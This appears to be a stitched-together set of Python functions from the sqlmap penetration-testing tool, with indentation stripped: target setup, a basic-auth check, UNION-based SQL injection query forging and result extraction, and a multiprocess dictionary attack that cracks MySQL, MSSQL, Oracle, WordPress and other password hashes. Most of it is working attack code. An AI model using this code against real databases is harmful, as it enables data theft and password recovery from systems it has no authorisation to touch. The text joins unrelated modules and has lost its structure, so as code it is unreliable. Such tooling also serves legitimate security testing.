def initTargetEnv():
"""
Initialize target environment.
"""
if conf.multipleTargets:
if conf.hashDB:
conf.hashDB.close()
if conf.cj:
resetCookieJar(conf.cj)
threadData = getCurrentThreadData()
threadData.reset()
conf.paramDict = {}
conf.parameters = {}
conf.hashDBFile = None
_setKnowledgeBaseAttributes(False)
_restoreMergedOptions()
_setDBMS()
if conf.data:
class _(six.text_type):
pass
kb.postUrlEncode = True
for key, value in conf.httpHeaders:
if key.upper() == HTTP_HEADER.CONTENT_TYPE.upper():
kb.postUrlEncode = "urlencoded" in value
break
if kb.postUrlEncode:
original = conf.data
conf.data = _(urldecode(conf.data))
setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
kb.postSpaceToPlus = '+' in original
if conf.data and unArrayizeValue(conf.base64Parameter) == HTTPMETHOD.POST:
if '=' not in conf.data.strip('='):
try:
original = conf.data
conf.data = _(decodeBase64(conf.data, binary=False))
setattr(conf.data, UNENCODED_ORIGINAL_VALUE, original)
except:
pass
match = re.search(INJECT_HERE_REGEX,
"%s %s %s" % (conf.url, conf.data, conf.httpHeaders))
kb.customInjectionMark = match.group(
0) if match else CUSTOM_INJECTION_MARK_CHAR
def check_authentication():
if not any((DataStore.username, DataStore.password)):
return
authorization = request.headers.get("Authorization", "")
match = re.search(r"(?i)\ABasic\s+([^\s]+)", authorization)
if not match:
request.environ["PATH_INFO"] = "/error/401"
try:
creds = decodeBase64(match.group(1), binary=False)
except:
request.environ["PATH_INFO"] = "/error/401"
else:
if creds.count(':') != 1:
request.environ["PATH_INFO"] = "/error/401"
else:
username, password = creds.split(':')
if username.strip() != (DataStore.username or "") or password.strip() != (DataStore.password or ""):
request.environ["PATH_INFO"] = "/error/401"
def _oneShotUnionUse(expression, unpack=True, limited=False):
retVal = hashDBRetrieve(
"%s%s" % (conf.hexConvert or False, expression),
checkConf=True) # as UNION data is stored raw unconverted
threadData = getCurrentThreadData()
threadData.resumed = retVal is not None
if retVal is None:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
if not kb.rowXmlMode:
injExpression = unescaper.escape(
agent.concatQuery(expression, unpack))
kb.unionDuplicates = vector[7]
kb.forcePartialUnion = vector[8]
# Note: introduced columns in 1.4.2.42#dev
try:
kb.tableFrom = vector[9]
kb.unionTemplate = vector[10]
except IndexError:
pass
query = agent.forgeUnionQuery(injExpression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, limited)
where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[
6]
else:
where = vector[6]
query = agent.forgeUnionQuery(expression, vector[0], vector[1],
vector[2], vector[3], vector[4],
vector[5], vector[6], None, False)
payload = agent.payload(newValue=query, where=where)
# Perform the request
page, headers, _ = Request.queryPage(payload,
content=True,
raise404=False)
incrementCounter(PAYLOAD.TECHNIQUE.UNION)
if not kb.rowXmlMode:
# Parse the returned page to get the exact UNION-based
# SQL injection output
def _(regex):
return firstNotNone(
extractRegexResult(regex,
removeReflectiveValues(page, payload),
re.DOTALL | re.IGNORECASE),
extractRegexResult(
regex,
removeReflectiveValues(
listToStrValue((
_ for _ in headers.headers
if not _.startswith(HTTP_HEADER.URI)
) if headers else None), payload, True),
re.DOTALL | re.IGNORECASE))
# Automatically patching last char trimming cases
if kb.chars.stop not in (page
or "") and kb.chars.stop[:-1] in (page
or ""):
warnMsg = "automatically patching output having last char trimmed"
singleTimeWarnMessage(warnMsg)
page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
else:
output = extractRegexResult(r"(?P<result>(<row.+?/>)+)", page)
if output:
try:
root = xml.etree.ElementTree.fromstring(
safeStringFormat("<root>%s</root>", getBytes(output)))
retVal = ""
for column in kb.dumpColumns:
base64 = True
for child in root:
value = child.attrib.get(column, "").strip()
if value and not re.match(
r"\A[a-zA-Z0-9+/]+={0,2}\Z", value):
base64 = False
break
try:
decodeBase64(value)
except (binascii.Error, TypeError):
base64 = False
break
if base64:
for child in root:
child.attrib[column] = decodeBase64(
child.attrib.get(column,
""), binary=False) or NULL
for child in root:
row = []
for column in kb.dumpColumns:
row.append(child.attrib.get(column, NULL))
retVal += "%s%s%s" % (kb.chars.start,
kb.chars.delimiter.join(row),
kb.chars.stop)
except:
pass
else:
retVal = getUnicode(retVal)
if retVal is not None:
retVal = getUnicode(retVal, kb.pageEncoding)
# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
retVal = htmlUnescape(retVal).replace("<br>", "\n")
hashDBWrite("%s%s" % (conf.hexConvert or False, expression),
retVal)
elif not kb.rowXmlMode:
trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
if trimmed:
warnMsg = "possible server trimmed output detected "
warnMsg += "(probably due to its length and/or content): "
warnMsg += safecharencode(trimmed)
logger.warn(warnMsg)
elif re.search(r"ORDER BY [^ ]+\Z", expression):
debugMsg = "retrying failed SQL query without the ORDER BY clause"
singleTimeDebugMessage(debugMsg)
expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
retVal = _oneShotUnionUse(expression, unpack, limited)
else:
vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
kb.unionDuplicates = vector[7]
return retVal
def dictionaryAttack(attack_dict):
suffix_list = [""]
custom_wordlist = [""]
hash_regexes = []
results = []
resumes = []
user_hash = []
processException = False
foundHash = False
for (_, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
regex = hashRecognition(hash_)
if regex and regex not in hash_regexes:
hash_regexes.append(regex)
infoMsg = "using hash method '%s'" % __functions__[regex].__name__
logger.info(infoMsg)
for hash_regex in hash_regexes:
keys = set()
attack_info = []
for (user, hashes) in attack_dict.items():
for hash_ in hashes:
if not hash_:
continue
foundHash = True
hash_ = hash_.split()[0] if hash_ and hash_.strip() else hash_
if re.match(hash_regex, hash_):
try:
item = None
if hash_regex not in (HASH.CRYPT_GENERIC, HASH.JOOMLA, HASH.WORDPRESS, HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD, HASH.SSHA, HASH.SSHA256, HASH.SSHA512, HASH.DJANGO_MD5, HASH.DJANGO_SHA1, HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
hash_ = hash_.lower()
if hash_regex in (HASH.MD5_BASE64, HASH.SHA1_BASE64, HASH.SHA256_BASE64, HASH.SHA512_BASE64):
item = [(user, encodeHex(decodeBase64(hash_, binary=True))), {}]
elif hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1):
item = [(user, hash_), {}]
elif hash_regex in (HASH.SSHA,):
item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[20:]}]
elif hash_regex in (HASH.SSHA256,):
item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[32:]}]
elif hash_regex in (HASH.SSHA512,):
item = [(user, hash_), {"salt": decodeBase64(hash_, binary=True)[64:]}]
elif hash_regex in (HASH.ORACLE_OLD, HASH.POSTGRES):
item = [(user, hash_), {'username': user}]
elif hash_regex in (HASH.ORACLE,):
item = [(user, hash_), {"salt": hash_[-20:]}]
elif hash_regex in (HASH.MSSQL, HASH.MSSQL_OLD, HASH.MSSQL_NEW):
item = [(user, hash_), {"salt": hash_[6:14]}]
elif hash_regex in (HASH.CRYPT_GENERIC,):
item = [(user, hash_), {"salt": hash_[0:2]}]
elif hash_regex in (HASH.UNIX_MD5_CRYPT, HASH.APACHE_MD5_CRYPT):
item = [(user, hash_), {"salt": hash_.split('$')[2], "magic": "$%s$" % hash_.split('$')[1]}]
elif hash_regex in (HASH.JOOMLA, HASH.VBULLETIN, HASH.VBULLETIN_OLD):
item = [(user, hash_), {"salt": hash_.split(':')[-1]}]
elif hash_regex in (HASH.DJANGO_MD5, HASH.DJANGO_SHA1):
item = [(user, hash_), {"salt": hash_.split('$')[1]}]
elif hash_regex in (HASH.WORDPRESS,):
if ITOA64.index(hash_[3]) < 32:
item = [(user, hash_), {"salt": hash_[4:12], "count": 1 << ITOA64.index(hash_[3]), "prefix": hash_[:12]}]
else:
warnMsg = "invalid hash '%s'" % hash_
logger.warn(warnMsg)
if item and hash_ not in keys:
resumed = hashDBRetrieve(hash_)
if not resumed:
attack_info.append(item)
user_hash.append(item[0])
else:
infoMsg = "resuming password '%s' for hash '%s'" % (resumed, hash_)
if user and not user.startswith(DUMMY_USER_PREFIX):
infoMsg += " for user '%s'" % user
logger.info(infoMsg)
resumes.append((user, hash_, resumed))
keys.add(hash_)
except (binascii.Error, IndexError):
pass
if not attack_info:
continue
if not kb.wordlists:
while not kb.wordlists:
# the slowest of all methods hence smaller default dict
if hash_regex in (HASH.ORACLE_OLD,):
dictPaths = [paths.SMALL_DICT]
else:
dictPaths = [paths.WORDLIST]
message = "what dictionary do you want to use?\n"
message += "[1] default dictionary file '%s' (press Enter)\n" % dictPaths[0]
message += "[2] custom dictionary file\n"
message += "[3] file with list of dictionary files"
choice = readInput(message, default='1')
try:
if choice == '2':
message = "what's the custom dictionary's location?\n"
dictPath = readInput(message)
if dictPath:
dictPaths = [dictPath]
logger.info("using custom dictionary")
elif choice == '3':
message = "what's the list file location?\n"
listPath = readInput(message)
checkFile(listPath)
dictPaths = getFileItems(listPath)
logger.info("using custom list of dictionaries")
else:
logger.info("using default dictionary")
dictPaths = [_ for _ in dictPaths if _]
for dictPath in dictPaths:
checkFile(dictPath)
if os.path.splitext(dictPath)[1].lower() == ".zip":
_ = zipfile.ZipFile(dictPath, 'r')
if len(_.namelist()) == 0:
errMsg = "no file(s) inside '%s'" % dictPath
raise SqlmapDataException(errMsg)
else:
_.open(_.namelist()[0])
kb.wordlists = dictPaths
except Exception as ex:
warnMsg = "there was a problem while loading dictionaries"
warnMsg += " ('%s')" % getSafeExString(ex)
logger.critical(warnMsg)
message = "do you want to use common password suffixes? (slow!) [y/N] "
if readInput(message, default='N', boolean=True):
suffix_list += COMMON_PASSWORD_SUFFIXES
infoMsg = "starting dictionary-based cracking (%s)" % __functions__[hash_regex].__name__
logger.info(infoMsg)
for item in attack_info:
((user, _), _) = item
if user and not user.startswith(DUMMY_USER_PREFIX):
custom_wordlist.append(normalizeUnicode(user))
# Algorithms without extra arguments (e.g. salt and/or username)
if hash_regex in (HASH.MYSQL, HASH.MYSQL_OLD, HASH.MD5_GENERIC, HASH.SHA1_GENERIC, HASH.SHA224_GENERIC, HASH.SHA256_GENERIC, HASH.SHA384_GENERIC, HASH.SHA512_GENERIC, HASH.APACHE_SHA1, HASH.VBULLETIN, HASH.VBULLETIN_OLD):
for suffix in suffix_list:
if not attack_info or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(target=_bruteProcessVariantA, args=(attack_info, hash_regex, suffix, retVal, i, count, kb.wordlists, custom_wordlist, conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
retVal = _queue.Queue()
_bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, 0, 1, kb.wordlists, custom_wordlist, conf.api)
except KeyboardInterrupt:
print()
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal:
if conf.hashDB:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
attack_info = [_ for _ in attack_info if _[0][0] != user or _[0][1] != hash_]
hashDBWrite(hash_, word)
results.append(item)
if conf.hashDB:
conf.hashDB.endTransaction()
clearConsoleLine()
else:
for ((user, hash_), kwargs) in attack_info:
if processException:
break
if any(_[0] == user and _[1] == hash_ for _ in results):
continue
count = 0
found = False
for suffix in suffix_list:
if found or processException:
break
if suffix:
clearConsoleLine()
infoMsg = "using suffix '%s'" % suffix
logger.info(infoMsg)
retVal = None
processes = []
try:
if _multiprocessing:
if _multiprocessing.cpu_count() > 1:
infoMsg = "starting %d processes " % _multiprocessing.cpu_count()
singleTimeLogMessage(infoMsg)
gc.disable()
retVal = _multiprocessing.Queue()
found_ = _multiprocessing.Value('i', False)
count = _multiprocessing.Value('i', _multiprocessing.cpu_count())
for i in xrange(_multiprocessing.cpu_count()):
process = _multiprocessing.Process(target=_bruteProcessVariantB, args=(user, hash_, kwargs, hash_regex, suffix, retVal, found_, i, count, kb.wordlists, custom_wordlist, conf.api))
processes.append(process)
for process in processes:
process.daemon = True
process.start()
while count.value > 0:
time.sleep(0.5)
found = found_.value != 0
else:
warnMsg = "multiprocessing hash cracking is currently "
warnMsg += "not supported on this platform"
singleTimeWarnMessage(warnMsg)
class Value():
pass
retVal = _queue.Queue()
found_ = Value()
found_.value = False
_bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found_, 0, 1, kb.wordlists, custom_wordlist, conf.api)
found = found_.value
except KeyboardInterrupt:
print()
processException = True
warnMsg = "user aborted during dictionary-based attack phase (Ctrl+C was pressed)"
logger.warn(warnMsg)
for process in processes:
try:
process.terminate()
process.join()
except (OSError, AttributeError):
pass
finally:
if _multiprocessing:
gc.enable()
if retVal and conf.hashDB:
if conf.hashDB:
conf.hashDB.beginTransaction()
while not retVal.empty():
user, hash_, word = item = retVal.get(block=False)
hashDBWrite(hash_, word)
results.append(item)
if conf.hashDB:
conf.hashDB.endTransaction()
clearConsoleLine()
results.extend(resumes)
if foundHash and len(hash_regexes) == 0:
warnMsg = "unknown hash format"
logger.warn(warnMsg)
if len(results) == 0:
warnMsg = "no clear password(s) found"
logger.warn(warnMsg)
return results
